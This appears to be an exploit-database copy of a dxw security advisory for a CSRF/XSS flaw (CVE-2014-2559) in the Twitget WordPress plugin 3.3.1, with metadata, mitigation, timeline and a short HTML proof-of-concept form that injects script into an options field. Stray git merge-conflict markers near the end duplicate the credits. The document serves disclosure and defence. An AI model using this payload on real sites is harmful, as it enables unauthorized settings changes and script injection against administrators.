header-logo
Suggest Exploit
vendor:
Twitget
by:
Tom Adams
6,4
CVSS
MEDIUM
CSRF/XSS
352
CWE
Product Name: Twitget
Affected Version From: 3.3.1
Affected Version To: 3.3.3
Patch Exists: YES
Related CWE: CVE-2014-2559
CPE: 2.3:a:wordpress:twitget
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2014

CSRF/XSS vulnerability in Twitget 3.3.1

If a logged-in administrator visits a specially crafted page, options can be updated (CSRF) without their consent, and some of those options are output unescaped into the form (XSS). In this example the XSS occurs at line 755 in twitget.php. The nonce-checking should have occurred somewhere around line 661 in the same file.

Mitigation:

Upgrade to version 3.3.3 or later.
Source

Exploit-DB raw data:

Details
================
Software: Twitget
Version: 3.3.1
Homepage: http://wordpress.org/plugins/twitget/
Advisory ID: dxw-1970-435
CVE: CVE-2014-2559
CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:P/A:N)

Description
================
CSRF/XSS vulnerability in Twitget 3.3.1

Vulnerability
================
If a logged-in administrator visits a specially crafted page, options can be updated (CSRF) without their consent, and some of those options are output unescaped into the form (XSS). In this example the XSS occurs at line 755 in twitget.php. The nonce-checking should have occurred somewhere around line 661 in the same file.

Proof of concept
================
<form action=\"http://localhost/wp-admin/options-general.php?page=twitget/twitget.php\" method=\"POST\">
  <input type=\"text\" name=\"twitget_username\" value=\"john_smith\">
  <input type=\"text\" name=\"twitget_consumer_key\" value=\""><script>alert(\'dxw\')</script>\">
  <input type=\"submit\">
</form>

Mitigations
================
Upgrade to version 3.3.3 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2013-07-30: Discovered
2014-03-18: Reported to plugins@wordpress.org
2014-04-09: Author reports fixed in version 3.3.3.

<<<<<<< HEAD

Discovered by dxw:
================
Tom Adams
=======

Discovered by dxw:
================
Tom Adams
>>>>>>> 65c687d5cb3c4aa66c28a30a4f2aaf33169dc464
Please visit security.dxw.com for more information.